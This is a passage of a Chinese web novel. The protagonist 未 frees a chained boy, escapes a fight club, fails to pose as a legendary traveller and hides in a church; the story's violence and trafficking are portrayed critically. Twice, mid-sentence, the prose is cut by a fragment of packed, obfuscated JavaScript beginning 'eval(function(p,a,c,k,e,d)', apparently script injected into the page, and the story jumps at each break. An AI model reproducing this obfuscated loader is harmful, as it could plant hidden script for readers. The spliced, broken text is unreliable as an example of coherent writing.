他扔给未一把普通的挂锁钥匙,是锁房门的。 未看着那个瑟瑟发抖的男孩,又看了看那根锁链,一种强烈的不适感涌上心头。 “他…看着像是擂台上的伤员,”未难得地主动开口,声音有些干涩,“不给他…治疗吗?他之后…要去哪?” 怀沙只是瞥了他一眼,那眼神里没有任何情绪,既没有解释的欲望,也没有被质疑的不悦,只有一种深沉的、令人心底发凉的漠然。 “看好他。” 他重复了一遍,然后转身离开,留下了未和那个被锁住的男孩,以及一室的沉默和压抑。 那孩子对未表现出极大的抗拒。未拿出自己都舍不得多用的一点廉价止血粉和消炎药膏,想帮他处理身上明显的淤伤和擦痕,却被男孩猛地挥手打开,药瓶滚落在地。未尝试着用尽量平缓的语气沟通,询问他的名字,或者至少想知道他需不需要食物和水,但得到的只有男孩更加蜷缩的身体和充满敌意的沉默。 那一晚,未按照怀沙的要求锁好了房门,但他自己几乎一夜未眠。男孩细微的啜泣声和铁链偶尔摩擦地面的声音,像针一样刺着他的神经。他看着窗外加仑城永不彻底熄灭的、污浊的霓虹光芒,博士那些关于绑架、胁迫、错误的话语,以及关于个体存在价值不应完全依附的论述,前所未有地清晰起来。怀沙楼顶的哭声,擂台上消失的重伤者,眼前这个被锁住的、比他还小的孩子……这些碎片拼凑在一起,指向了一个他无法再视而不见的真相。 第二天,未以身体不适和需要看管男孩为由,向怀沙提出暂停一天擂台工作。怀沙没多说什么,只是摆了摆手,算是同意了。未利用这个空隙,偷偷去了黑市,用他小心翼翼积攒了许久的信用点中的一部分,买了一把小巧但足够坚固的鹰嘴钳。这花掉了他将近三分之一的积蓄。每一步都走在刀刃上,他清楚自己在玩火,怀沙的眼线无处不在,任何异常的举动都可能引来灭顶之灾。 晚上,回到杂物间,男孩依旧蜷缩在角落,警惕地看着他。未的心脏在胸腔里沉重地擂动,血液冲上头顶又迅速冷却,留下冰凉的恐惧。他几乎能想象出怀沙发现后的表情,那绝不是他承受得起的怒火。这一刻,他动摇了,想把钳子藏起来,当做什么都没发生。理智尖叫着让他自保,那点可怜的稳定和每日固定的食物,难道真的要为了一个陌生人彻底抛弃? 但他最终还是行动了。他没有说话,只是默默地行动。他将那把新买的鹰嘴钳,自己储存下来的几块高能量压缩食物棒,一小瓶干净的饮用水,以及他仅有的、二十个沉甸甸的信用点硬币,仔细地包在一起,然后轻轻地放在了男孩触手可及的地面上。每一个动作都耗费着他巨大的力气,仿佛在推开一扇通往深渊的门。 做完这一切,他深深地看了男孩一眼,那眼神复杂,混杂着恐惧、决绝和一丝微弱到连他自己都无法理解的期望。然后他转身,像往常一样躺在了自己的床垫上,背对着男孩的方向。但是,今晚,他没有按照怀沙的要求,在睡觉前将房门从里面反锁。那扇薄薄的门板,只是虚掩着,留下了一道致命的缝隙。 寂静在狭窄的空间里蔓延,每一秒都无比漫长。未的感官被放大到极致,他能听到自己血液流动的声音,能听到远处街道模糊的喧嚣,更能听到身后男孩那边传来极其细微的、布料摩擦的声音。然后是短暂的、金属受力时发出的轻微嘎吱声,很轻,但在未耳中不亚于惊雷。接着,是几乎难以察觉的、门轴转动的声音。 一切很快又归于沉寂。他走了。 几乎在门轴声落下的瞬间,未像被电击般从床垫上弹了起来。他不能再待哪怕一秒。怀沙可能随时会来查看,俱乐部的打手可能正在巡逻,任何一点意外都可能让他万劫不复。那个孩子跑了,他成了唯一的责任人,唯一的泄愤对象。留下就是等死。 恐慌像冰水一样浇遍全身,但他的动作却异常迅速,那是数百次死亡轮回磨砺出的、在绝境中高效行动的本能。他扯过一块破布,将自己那少得可怜的所有物——几件勉强蔽体的衣物,生死之誓,以及剩下的所有信用点——胡乱包裹起来,打成一个可以背负的结。他环顾这个住了不算太久、给了他一丝虚假安稳的角落,没有丝毫留恋,只有逃离的迫切。 他猛地推开那扇虚掩的门,闪身进入昏暗的走廊。空气里弥漫着霉味和劣质烟草的气息,远处隐约传来擂台区域的喧哗。他贴着冰冷、油腻的墙壁,像一道影子般移动,每一步都轻得如同猫科动物,耳朵捕捉着任何一丝不寻常的声响。心脏在喉咙口狂跳,每一次远处传来的脚步声都让他浑身僵硬,紧贴在阴影里,直到声音远去。 俱乐部后方的通道错综复杂,堆满了废弃的器械和垃圾。他不敢走主通道,只能在这些障碍物之间穿梭。有一次,他几乎与一个刚从侧门出来正打着哈欠的壮汉撞个满怀,未猛地缩身,躲进一个大型废弃齿轮的后面,屏住呼吸,听着那沉重的脚步声伴随着含糊的咒骂渐渐远去,冷汗已经浸湿了他破旧的衣领。 终于,他摸到了俱乐部建筑外围的一个破损通风口,这是他之前偶然发现、并暗自记下的潜在出口。他毫不犹豫地钻了进去,狭窄的空间刮擦着他的皮肤,留下新的血痕,但他毫不在意。从通风口另一头爬出来时,他落在了一条堆满腐烂垃圾的后巷里。冰冷污浊的空气涌入肺中,带着自由和未知的危险。 加仑城的夜晚正是最喧嚣混乱的时刻。霓虹灯的光芒扭曲地洒在湿漉漉的地面上,远处传来浮空车的嗡鸣和不知名的爆炸声。未不敢停留,他甚至不敢仔细辨别方向,只是凭借着对危险的本能感知,选择了一条与俱乐部方向相反、看起来更加黑暗、更加肮脏的小巷,一头扎了进去,开始奔跑。 他奔跑在迷宫般的街巷里,像一个被无形猎犬追逐的猎物。每一次拐弯都可能撞见新的危险,每一个阴影里都可能藏着怀沙的眼线或者更坏的东西。他知道,从他将工具放在男孩手边的那一刻起,他过往那点可怜的稳定就彻底结束了。他再次一无所有,再次流浪,并且这次,他可能惹上了一个绝不该惹的麻烦。 但他没有回头路。虽然还有希望,但是他终究也无法完全理解自己为何非要走到这一步。他只是在奔跑,用尽全身力气逃离身后那片令人窒息的牢笼,奔向一个同样危机四伏、但至少由自己选择的未知。 …… 在怀沙将那个被锁链铐住的男孩带进杂物间,以及未做出那个改变一切的决定之前,有两件如同黑暗中悄然积累的萤火般的事情,悄然发生,并在他心中埋下了种子。 第一件事,源于未对这座城市边界永无止境般的探索本能。加仑城的护罩并非完美无缺的能量球体,尤其在那些远离主要通道、靠近工业废料区或天然地貌险峻的边缘地带,护罩的监察往往显得松懈。未发现,在靠近一片因常年能量风暴侵蚀而显得格外荒凉、岩石嶙峋的护罩边缘区域,气候异常恶劣,刺骨的寒风裹挟着肉眼可见的能量碎屑,使得这里人迹罕至,连定期的巡逻队经过的间隔也长得令人安心。 在一次躲避突如其来的能量尘暴时,未意外地发现,在一座高耸但似乎已停止运作许久的旧信号塔基座下方,有一个被半掩埋的入口。他小心翼翼地靠近,发现那是一个废弃的小型地堡入口。入口处的金属门早已不翼而飞,里面黑洞洞的。未花了很长时间观察,确认没有任何生物活动的痕迹,也没有任何监控设备。他鼓起勇气钻了进去。 地堡内部空间不大,充满了一股陈年的尘土和金属锈蚀的气味。它显然经历过激烈的战斗,内壁上布满了早已黯淡的弹孔和能量武器灼烧的痕迹,角落里散落着一些无法辨认的金属碎片。最引人注目的是地堡顶部,靠近信号塔基座的位置,有一个巨大的、不规则的破洞,像是被某种重型武器自上而下轰击造成的,露出了外面灰蒙蒙的天空和信号塔冰冷的金属支架。雨水和风沙通过这个破洞长年累月地灌入,在地堡底部积起了厚厚的泥土,形成了一个天然的“土坑”。然而,尽管顶部有破洞,地堡的主体结构,尤其是依靠着信号塔基座的部分,却异常坚固,似乎那次的攻击并未撼动其根本。 未站在那个土坑里,仰头看着那个破洞,一个念头不受控制地冒了出来:如果…如果能把这个破洞稍微遮挡一下,用能找到的废旧金属板或者水泥块,再铺上一些干草……这里,是不是可以成为一个只属于他自己的、无人知晓的藏身之所?不需要支付呼吸税,不需要看任何人的脸色,虽然简陋到极致,但至少…是自由的。这个想法让他心跳加速,但他很快压制住冲动。目前,这还只是一个存在于想象中的备用方案,他需要更长时间的观察,确认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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起先,未也尝试过去翻阅自习室里那些基础的、面向大众的教义普及读物或城市历史简介。但他很快沮丧地发现,博士教给他的文字,与加仑城现在通行的文字,虽然有一些形似之处,但整体差异巨大,博士所教的那种文字更加繁琐、古老,如同失落的密码,而他现在面对的,则是简化、变形后的版本。他看不懂。 百无聊赖,又或许是内心积压了太多无处宣泄的情绪,他第一次拿起了那张便签纸和短铅笔。他用博士教给他的、那种无人能识的古老文字和语言,生涩地、歪歪扭扭地写下了第一行字: #生活好痛苦。 写完之后,他像做错了事一样,迅速将纸条塞进了桌子下方一个不易察觉的缝隙里,仿佛这样就能将那份痛苦也一并隐藏。第二天,他鬼使神差地又坐到了那个位置,下意识地伸手去摸那个缝隙。纸条还在。他抽出来,惊讶地发现,在他那行字的下面,有人用同样的、古老而繁琐的文字,留下了一行工整而克制的回复: #展信谨致问候。不管是什么,我都愿意倾听。 未的心脏猛地一跳。有人…有人认识这种文字! 一种奇异的、混合着恐慌和被理解的微小悸动席卷了他。他几乎是立刻拿起笔,在下面继续写道: #我认为人口买卖是不对的。 第二天,回复如期而至: #你的认为是对的。教义明示,众生在主神眼中皆有定位。将人视作货物,是对灵魂的亵渎。 就这样,一场无声的、跨越时间的对话开始了。未将自己破碎的思绪、日常的观察、深藏的念头,一点点诉诸笔端: #我不会魔法,他们都叫我返祖者。 #魔法并非衡量一个人价值的唯一尺度。帷幕管理者的恩典有多种形式。 #我想加入教会。 #教会是寻求庇护与指引之所。但请明白,它本身也是一个庞大而复杂的机构,并非纯粹的净土。此外,教会不会拒绝任何残疾个体,我们的教义是人人平等。 #我觉得有一个蓝色头发的神职人员的气质很特别。 没有回复。 #我的日收入是3个信用点,很少对吧,什么都没法买。 #3个信用点……我深知这不足以支撑有尊严的生活。看清不公,是改变它的第一步。但在拥有足够的力量前,有时需要隐忍和智慧。 #我撑不下去了。 这最后一句,他几乎是带着绝望写下的。而第二天,他收到的回复,也比以往任何一次都要长,笔迹依旧工整,却能感受到书写者落笔时的郑重: #请再坚持一下。 #哪怕只是为了明天清晨,能从粥棚里领到的那一点温热。 #哪怕只是为了确认,那些“不对”的事物,是否有一天会被改变。 #活着,本身就是在积累某种可能性。 #我无法承诺你一个光明的未来,那太虚伪。 #我只能说,我也曾无数次感觉快要撑不下去。而我选择继续坚持的理由,或许就是像此刻一样,相信微小的连接和言语,也能带来一丝力量。 #如果你愿意,可以在下次晨祷后,留在圣堂右侧的回廊。我会在那里。 #愿你能找到前行的微光。 “教会不会拒绝任何残疾个体。” “留在圣堂右侧的回廊。我会在那里。” 这两行字,如同在未漆黑的世界里,同时点燃了两盏灯。一盏照亮了一条看似可行的、能够暂时栖身甚至获得些许庇护的道路——入教。另一盏,则指向了一个具体的、能够理解他那古老语言、并愿意与他见面的人,一个可能带来改变的连接。 希望,从未如此具体过。 所以,当之后怀沙将那个男孩带来,当未目睹那根锁链,当内心的“正确”与“错误”天平彻底倾斜时,他之所以能做出那个看似冲动、放弃“稳定”的决定,是因为他心中已经有了底牌,有了退路,哪怕那退路同样充满未知。 他可以选择逃往那个无人知晓的信号塔下的地堡土坑,虽然简陋,但足以藏身。如果遇到巡查,以他对地形的熟悉和不怕死的“优势”,逃跑并非难事。 而更重要的,是那条更具诱惑力的路——凭借怀沙给予的徽章,尝试加入黑主教教会。那枚徽章,此刻不再仅仅是进入自习区的凭证,更成了他可能抓住那根“破例收留”稻草的关键道具。 于是,在剪断锁链、送走男孩、面对怀沙冰冷的审视之后,未的逃跑,不再是无头苍蝇般的乱撞,而是一次目标明确、即使前路未卜却不再是一片漆黑的突围。他奔向的,是那个破败的地堡,也是那个约定好的回廊,是荒野中的藏身之所,也是教会可能提供的、带着枷锁却或许能喘息的庇护所。他的人生,在这一刻,因为那两件看似偶然的铺垫,而悄然转向了一个新的,或许依旧艰难,却至少由他自己选择的岔路口。 13. 【六】 送走男孩,逃离俱乐部,未像一缕亡魂,在加仑城错综复杂的血管与脓疮之间游窜。他先是在那个信号塔下的废弃地堡里躲藏了几天。顶部破洞漏下的天光与尘埃,伴随着能量风暴的呼啸,成了他唯一的伴侣。他按照最初的设想,费力搬来一些废弃的金属板和碎石,勉强遮挡了部分洞口,制造了一个虽然简陋,但足以隔绝部分视线和风雨的角落。这里没有呼吸税,没有怀沙冰冷的注视,也没有擂台上永无止境的击打声。只有死寂,以及自由所带来的、几乎能将人压垮的沉重责任。 他小心翼翼地外出,像阴影般活动,用仅剩的信用点换取最劣质的食物。地堡给了他喘息之机,但并非长久之计。寒冷、饥饿,以及最重要的——对未来的茫然,都在啃噬着他那点刚刚萌芽的决绝。 “加入黑主教教会”和“前往圣堂右侧回廊会见那个神秘人”——这两个在绝望中抓住的念头,变得越来越清晰,成为他黑暗前路中仅有的、可能稳定的光源。尤其是后者,那个能用古老文字与他交流,并说出“请再坚持一下”的人,像磁石一样吸引着他几乎冻结的灵魂。 然而,命运似乎总喜欢在他看到一丝微光时,泼下彻骨的冰水。 就在他计划前往教堂的前一天,未在前往一个较远污水过滤点取水的途中,几乎与一队基因进化队的巡逻兵迎面撞上。为首的那个高大身影,即使隔着一段距离,未也绝不会认错——雷蒙德。那个将他从实验室废墟中带入加仑城,又像丢弃垃圾一样将他抛弃的“引路人”。 恐慌瞬间攫住了未的心脏。他几乎是本能地缩身,滚入一旁堆积如山的废弃管道之中,紧紧捂住口鼻,连呼吸都几乎停止。雷蒙德锐利的目光扫过这片区域,似乎并未发现他,但未不敢有丝毫侥幸。他在冰冷的金属管道缝隙里蜷缩了整整一天,直到夜幕降临,巡逻队早已远去,他才敢拖着僵硬麻木的身体,像受惊的蠕虫一样,一点点挪回地堡。 这次遭遇彻底打乱了他的计划。前往教堂?万一雷蒙德或其眼线在那里呢?那个回廊之约,在致命的威胁面前,显得如此脆弱和不切实际。他耗费了一整天在恐惧中逃命和躲藏,精神与体力都濒临极限。 下次晨祷后,圣堂右侧的回廊,未终究是没去成。 因为第二天,他就在寻找食物的路上,再次远远瞥见了基因进化队的悬浮车。他不得不再次放弃原定路线,花费巨大的精力和时间绕行,如同惊弓之鸟,在城市的阴影里疲于奔命。 希望的火苗,尚未真正燃起,就被现实的冷风吹得明灭不定。 生存的压力,远比任何道德拷问或精神追求都来得直接。地堡无法提供稳定的食物和饮水,未很快就面临断粮的危机。他必须找到新的收入来源,而远离怀沙的势力范围,意味着他失去了擂台和那份夜晚工作——哪怕它们充满屈辱,至少曾提供稳定的信用点。 就在他彷徨无措,在底层街区像幽魂般游荡时,他听到了酒馆里醉汉们的喧哗,捕捉到了一些零碎的词语:“穿越者……雷电暴君……弹指间冰川沸腾……” 这些词语,像闪电一样劈中了未。 穿越者?民间传说中,那些来自其他世界,拥有不可思议力量的存在?还有“雷电暴君”……这个称号让他心脏猛地一缩。他依稀记得,在很久很久以前,在博士的实验室之外,在那个模糊得几乎像是梦境的童年里,他似乎也拥有过与雷电相关的天赋。虽然那记忆被漫长的痛苦和博士的“教育”磨蚀得几乎消失,但一丝微弱的感应,一丝本能的亲近感,依然残留在他意识的深处。 一个荒谬,却又在绝境中显得无比诱人的念头,如同毒草般在他心中滋生。 如果……如果他能扮演一个“穿越者”,或者至少与“雷电暴君”的传说扯上关系,是不是就能快速获得关注,获得资源,甚至……获得力量?人们会追捧传说,不是吗?他们会对拥有非凡力量的人另眼相看,不是吗? 这个想法一旦出现,就疯狂地占据了他的思绪。他太需要一条出路了,一条能让他快速摆脱眼前泥沼,甚至能让他拥有对抗像怀沙、雷蒙德这类人的资本的出路。模仿传说,利用传说,成了他眼中唯一可能弯道超车的捷径。 他开始有意识地收集关于“穿越者”和“雷电暴君”的流言。故事版本繁多,但核心无非是拥有改变现实、操控元素(尤其是雷电)、乃至逆转时间的伟力。传说中,真正的穿越者眼角会有星砂纹,弹指间能让冰川沸腾,挥手便能改造机械,甚至修改记忆。 未抚摸着自己粗糙的眼角,那里只有尘土和疲惫带来的细纹。他尝试集中精神,回忆那丝微弱的雷电感应,伸出手指,试图在空气中激发哪怕一星电火花。但回应他的,只有指尖的冰冷和意识的空乏。博士的“教育”和长期的折磨,似乎早已将他与生俱来的那点天赋彻底剥离或封禁了。 他什么都没有。除了……那本与他一同从实验室出来的,记录了他无数次死亡的,名为生死之誓的黄黑色封皮书。 或许……它可以成为道具? 于是,未开始尝试推销自己,或者说,推销一个由他扮演的、拙劣的传说。 第一次尝试,在一家喧闹肮脏的酒馆。 他缩在最阴暗的角落,听着醉汉们哄笑着砸碎陶杯,唾沫横飞地谈论着“雷电暴君”的伟业,说什么“跃动着时之砂的银河”都曾在那位暴君的指尖流转。未低头,死死攥紧怀中的生死之誓,书籍冰冷的封面棱角硌得他掌心发痛。真正的、可能与雷电有着微弱渊源的他,此刻却连点燃一根烛芯都做不到。 他鼓足勇气,走到吧台,第十几次掏出那本生死之誓,声音干涩地向酒保提议,想用这本“蕴含时间力量的圣物”赊欠一杯最劣质的麦酒。 酒保上下扫描着他和那本书,发出不屑的嗤笑。“上周,”酒保用油腻的抹布擦拭着酒杯,“有个比你演得像点的骗子,用的是一本号称穿越者圣典的仿品,骗走了我三桶上好的麦酒。”他顿了顿,红光聚焦在未破烂的衣衫和脏污的脸颊上,“真的穿越者?小子,传说里他们弹指就能让冰川沸腾,而你——”他猛地探身,一把揪住未的后领,轻而易举地将他提了起来,“——你连个最基础的防寒结界都撑不开!” 未被粗暴地丢出了酒馆,摔进门外冰冷的泥泞雪堆里。 第二次,他去了更混乱的黑市。 一个商人掂量着生死之誓,眼神挑剔。“传说级的道具,该有能量纹路,至少也该有点基本的量子共振……”商人用一支小型激光笔扫描着书脊和封面,摇了摇头,“你这本,死气沉沉,连最微弱的能量反应都没有。废品。” 未心中涌起一股莫名的屈辱和愤怒,这愤怒不仅针对商人,也针对这本伴随他承受无尽痛苦却似乎毫无用处的书。他猛地夺回书册,封面的尖锐棱角在商人脸上意外划出一道血线。“那你就等着看!”未嘶哑地低吼,重复着酒保的话,“等着看冰川沸腾吧!” 三小时后,他在一条阴暗的小巷里被商人的保镖堵住。肋骨断裂的剧痛让他几乎窒息,濒死的晕眩中,他听见对方充满鄙夷的嗤笑:“连伪造传说都不会的残次品。” 第三次,他几乎走投无路,在教堂附近的街角,拦住了一个看起来同样落魄的流浪汉。 他展示着生死之誓,声音带着一丝绝望的颤抖:“这本……能操纵时间的圣物,换你手里那块面包,行吗?” 流浪汉吐出一口烟,烟雾在冰冷的空气中凝成短暂的冰晶。“上月有个骗子,用的也是这招。”流浪汉懒洋洋地说,“他装模作样念完咒文,巡逻队就来了,直接把他打成了筛子。” 未的眼睛红了,一种破罐子破摔的疯狂涌了上来。他猛地抓住流浪汉的衣领,将生死之誓坚硬的书页边缘抵在对方的喉结上,压低声音,如同野兽般威胁:“要不要赌?赌我的死亡次数,能多到撑到警卫赶来把你我先打成筛子?” 流浪汉先是吓了一跳,随即仔细盯着未剧烈颤抖的瞳孔和苍白的面孔,忽然哈哈大笑起来:“演技不错!小子,眼神里的绝望挺真的!但是——”他用力推开未,指了指远处一块闪烁的广告牌,上面正宣传着一部关于穿越者的热门影视剧,主角的眼角特写清晰显示着华丽的、如同镶嵌了星辰般的纹路,“——但真货的眼角,该有星砂纹!连广告牌上都印着呢!你这点道行,差远了!” 未瘫坐在冰冷的墙角,最后一丝力气也被抽空。他甚至无意中听到纺织厂工人下工时的闲聊,他们谈论着仓库失窃的传闻,有人神秘地说真正的穿越者能修改记忆,所以失窃可能另有隐情。但立刻被另一工人打断:“那是协会放的烟雾弹啦!为了让传说更可信,方便推行新税种罢了!” 协会?未模糊地意识到,似乎有一个庞大的、看不见的势力,在有意无意地编织和利用着这些传说。他拼死保守的秘密,他承受的数百次死亡,在这些被精心编排和传播的童话面前,显得如此可笑,如此微不足道。原来他视若性命的痛苦经历,可能不过是上层势力随手撒下的、用来粉饰现实或达成某种目的的童话粉末? 他的“传说”之路,彻底失败了。没人在乎就是没人在乎。加仑城需要的是光鲜亮丽、符合预期的“神话”,而不是他这样一个衣衫褴褛、伤痕累累、连魔法都无法使用的“残次品”。 生存的本能,最终将他推回了最原始、最血腥的道路——黑市拳场。当然,这不是怀沙的地盘,是另一个更加混乱、规则更模糊的场地。 在这里,他不再宣扬什么传说,只是沉默地战斗,为了那一点点可怜的赏金。 第一百九十三次重生(按照来到全场之后的计数)后,他做了一件自己后来都觉得愚蠢透顶的事。 或许是被之前的失败刺激,或许是想在另一个层面“证明”自己,他站在了那个简陋擂台的镁光灯下,第一次,也是唯一一次,将生死之誓那本诡异的书主动悬浮在自己身前(他发现自己似乎能对它进行最基础的操控),像一面诡异的旗帜。 “我……我能预判所有攻击!”他对着台下醉醺醺、狂热的观众嘶吼,声音因为紧张和长期营养不良留下的沙哑而变形。 然而,当死亡的气息真正带着腥风扑到鼻尖时,基因深处对疼痛和毁灭的恐惧,像冰冷的钢索瞬间捆住了他的四肢百骸。理智知道该如何做,身体却背叛了大脑。他僵立在原地,如同待宰的牲畜,眼睁睁看着那拳头越来越大,然后重重地轰在他的胸腔左侧。 清晰的、肋骨断裂的剧痛传来,伴随着肺叶被挤压的窒息感。生死之誓似乎也同步传来一阵强烈的抽痛,这感觉比童年时博士的电击床折磨更为清晰,仿佛将痛苦直接烙印在灵魂上。 那是一场耻辱的胜利。 他被打得毫无还手之力,像个人形沙包。到了第七回合,未只能蜷缩在擂台角落,意识模糊地数着从嘴角滴落、在肮脏台面上溅开的血滴。对手抬脚,那轨迹与他第五次死亡时被活活踢碎内脏的场景完全重叠。本该侧滚避开的本能反应,再次被滔天的恐惧淹没。 靴底狠狠碾在他支撑地面的手指上,清晰的指骨碎裂声被台下观众齐声的、带着侮辱性的倒数和狂欢淹没。 “返祖者!返祖者!返祖者!” 生死之誓悬浮在他不远处的血泊上方,内页的死亡次数被刺眼的聚光灯烤得发亮,像是对他无能的公开处刑。极致的屈辱和求生的疯狂,在这一刻压倒了对疼痛的恐惧。未猛地扑上前,不是用拳头,而是用牙齿!他早已偷偷购买并戴上了能让牙齿变得更尖锐的廉价金属牙套。他看准时机,猛地咬向对手因抬脚攻击而暴露出的、近在咫尺的手腕。 用十三次轮回积累的、对角度和时机的判断,他用尽全身力气,像绝望的困兽,狠狠地撕扯! 温热的、带着铁锈味的液体猛地喷溅进他的眼眶。对手凄厉的惨叫盖过了观众的喧嚣。未死死咬着,直到感觉口中的肌腱和血管断裂,直到对手因剧痛和失血而力量骤减,轰然倒地。 他赢了。以一种最不光彩,最像野兽的方式。 当黑市商人将染血的、皱巴巴的钞票甩在他肿痛的脸上时,未才发现自己因为脱力和后怕,抖得连几张薄薄的纸币都接不住。 “这是你咬死人的赏金。”商人用冰冷的机械手指戳了戳他胸口恐怖的淤青,语气毫无波澜,“下次记得,直接咬喉管,效率更高,能多赚三成。” 硬币从他颤抖的指缝间滚落,叮当作响。未不得不趴在地上,在黏稠的血污和尘土中摸索那些维系生命的信用点。那一刻,他觉得自己比擂台上那个疯狂的“返祖者”,更像一个合格的、被世界遗弃的残次品。 后来,他曾短暂地被一个好心(或者说,是对神明抱有某种期待)的人暂时收留。在他简陋的、同样寒冷的庇护所里,那信徒递来的热汤第四十四次因为屋内的低温而结满冰碴时,未偶然间从窗玻璃模糊的倒影中,看清了自己的模样——那个传说中能死而复生、在擂台上如同野兽般撕咬的怪物,眼底深处凝固着的,依然是四岁那年,在实验室里面对博士和冰冷器械时,无法磨灭的、最深沉的惊惶。 他试图向这个信徒展示生死之誓上那些密密麻麻、触目惊心的战斗和死亡记录,想证明自己并非凡人,或许值得更好的对待。他却只是温和而坚定地将一本破旧的帷幕典籍压在了那染血的内页上,看着他浑浊的眼睛,轻声说:“孩子,别再向别人证明什么了。你的眼睛,一直在向我们求救啊。” 经历了这一切——传说的破灭,擂台的耻辱,以及那短暂庇护所中点破真相的箴言——未的精力和信用点再次耗尽。他蜷缩在另一个陌生街区酒馆后巷的垃圾箱旁,冰冷的金属桶壁无法带来丝毫暖意。生死之誓的棱角一如既往地抵着他的肋骨,带来熟悉的痛感。 巷子里传来的醉汉喧哗,夹杂着新的流言碎片,随风灌入他的耳中: “听说了吗……那个,黑主教教堂里……新来的那个蓝头发的祭司……” “哦,但?王室流放过来的那个?” “对,就是他……听说连胸前的圣痕都是残缺的,真是个残次品……” “嘿,王室不要的垃圾,扔到教会混日子罢了,整天摆弄些发霉的银血药膏,装什么神圣……” 酒瓶炸裂的声响惊动了垃圾桶上的乌鸦,扑棱着翅膀飞入灰蒙的天空。未舔掉掌心最后一点搜刮来的面包渣,听着关于“残次品祭司”的议论,不由得想起了实验室里,那些和他一样被博士打上“残次品”标签的试验体,他们的最终归宿,无一例外,都是焚化炉里无声无息的青烟。 教堂的尖顶在愈发深沉的暮色中耸立,泛着冷硬的光泽,像一根试图抵住地狱之门的、孤独而绝望的长矛。 在某一次失败的轮回中,获得了徽章的未为了躲避基因巡警的追捕,曾被迫翻越围墙,闯入了教堂后方的墓园。那晚月光凄清,将一个人的身影清晰地投射在彩绘玻璃窗上。他正跪在一座无名墓碑前,极其专注而轻柔地擦拭着石碑上的尘土与苔藓。雾蓝色的长发垂落,遮住了他部分侧脸。在他微微敞开的领口下方,胸前那片应该象征着神圣与力量的圣痕,在月光下竟呈现出一种不健康的、如同淤血般的青紫色,而且边缘模糊,确实像是……残缺不全。 就在但似乎有所察觉,即将转身的瞬间,未的心脏狂跳,不敢再看,迅速而狼狈地翻墙逃离。墓园生锈的铁门在他身后合拢时,发出的那声沉重而滞涩的“哐当”声响,奇异般地,与他多年前终于逃出博士那座绝望实验室时,身后响起的、划破夜空的尖锐警报声,在他的记忆深处重合了。 一种难以言喻的、基于同样被抛弃命运的微弱共鸣,在那一刻,于他心底悄然滋生。 所有的路似乎都走到了尽头。传说无人买账,拳台带来耻辱与濒死,短暂的庇护所点破了他试图证明的虚妄,而那个曾经给予他文字慰藉和回廊之约的教堂,如今也因为雷蒙德的阴影和关于祭司的“残次品”流言,而蒙上了一层不确定的灰色。 未站在垃圾场边缘,脚下是冻结的、混杂着污物的冰坨。远处,小镇的灯火勾勒出纺织厂庞大的轮廓,那里正轰鸣运作着——据说是多年前,由某位路过的、拥有“神迹”的穿越者,随手改造的“奇迹流水线”。而此刻,在未的眼中,那不过是不断吞吐着谎言与绝望的巨兽。 他抬起头,望向加仑城永远被阴云和能量尘埃笼罩的、漆黑如墨的天幕。雪花开始稀疏地飘落,冰冷地贴在他干燥起皮的脸上。 他该怎么做?能怎么做? …… 未最终还是回到了教堂的阴影之下。 怀沙的俱乐部是明确的狼窝,荒野地堡难以维系生存,模仿传说的尝试一败涂地,黑市拳台带来的只有耻辱和濒死的体验。相比之下,那座宏伟而压抑的黑主教教堂,尽管充斥着未知的危险和严格的规则,却成了他唯一能找到的、相对“稳定”的避难所。至少,这里能遮风挡雨,并且,因为他手中那枚怀沙给予的旧徽章,他被允许在外围区域,特别是那个自习室活动。 然而,夜晚的教堂是另一回事。官方不允许非神职人员夜间滞留。未不得不在闭馆前寻找藏身之处,像一只有着固定巢穴的、谨慎的夜行动物。他发现了神龛后的暗格,忏悔室顶部的狭窄空间,或是某些堆放废弃宗教物品的储藏室角落。每一次躲藏都伴随着极大的风险,他依靠着和对环境近乎偏执的观察,才能一次次躲过夜间巡查的神职人员。 他梦见过自己在藏匿时被一名面无表情的神职人员发现,对方手持长长的、闪着寒光的仪式杖,毫不犹豫地刺穿了他的心脏,就像处理一只误入圣地的害虫。这个梦如此真实,让他每次听到夜晚的脚步声,都会瞬间绷紧身体,冷汗浸湿破旧的衣衫。 月光从高耸的彩窗流淌下来,其中一扇描绘着怀抱羔羊的兜帽人,他的蓝眼睛在清冷的月光下,仿佛真有一丝悲悯。未蜷缩在神龛投下的厚重阴影里,小心翼翼地啃食着白天攒下的、硬得像石头的面包。碎屑随着他艰难的吞咽动作,簌簌落下,在他膝盖上积了一小片,又滚落到地上。这景象莫名地让他想起实验室里那个巨大的沙漏,里面流淌的仿佛不是沙子,而是无数试验体焚化后的骨灰。 生死之誓悬浮在告解室的顶端,书页以一个经过多次“调试”的角度展开——这是他在第三次因此死亡后学会的:这个特定的姿势,能最有效地捕捉并用封面的金属部件反射走廊里摇曳的烛光,将人影的靠近提前三秒投射到他的视野余光中。 面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时,阁楼方向传来了脚步声,沉稳而规律,是神职人员夜间巡查的节奏!未的瞳孔骤然收缩,缩成如同实验室里那些感受到致命威胁的白鼠一般的针尖大小。他像一抹真正的影子,贴着冰冷的彩窗玻璃,无声地滑入旁边墙壁上,那个在第七次“死亡”中发现的、极其隐蔽的暗格。生死之誓同步而动,精准地嵌入暗格内侧一道不起眼的墙缝中。 几乎在他藏好的瞬间,一个疑似圣杯的物品砸碎在他刚才栖身的位置。琉璃碎片四溅。未在绝对的黑暗中,凭借记忆和无数次死亡积累的经验,在心中默数着碎片飞溅的轨迹——最远的那一片,会划过那名或许是因为无聊而掷瓶的神职人员的脚踝,引发大约三十秒的恼怒咒骂。这三十秒,足够他沿着蚂蚁标示的那条“安全”路径,悄无声息地退到侧门附近。 暗格里狭小逼仄,残留着他前几轮轮回中藏匿的少量“物资”:半截长度显示已被点燃过三次的蜡烛,某次用来割断绳索或自卫后边缘已磨钝的玻璃碎片,还有用干涸的血渍在墙上画下的、划到第四十七道时便放弃记录的正字。 当外面的脚步声远去,生死之誓从墙缝中无声滑出,带落一小块松动的石灰,正砸在未覆着一层白霜的发梢。他捻起那点石灰碎屑,放入口中,钙粉的苦涩味道,与记忆中实验室提供的、毫无滋味的标准营养剂,一模一样。 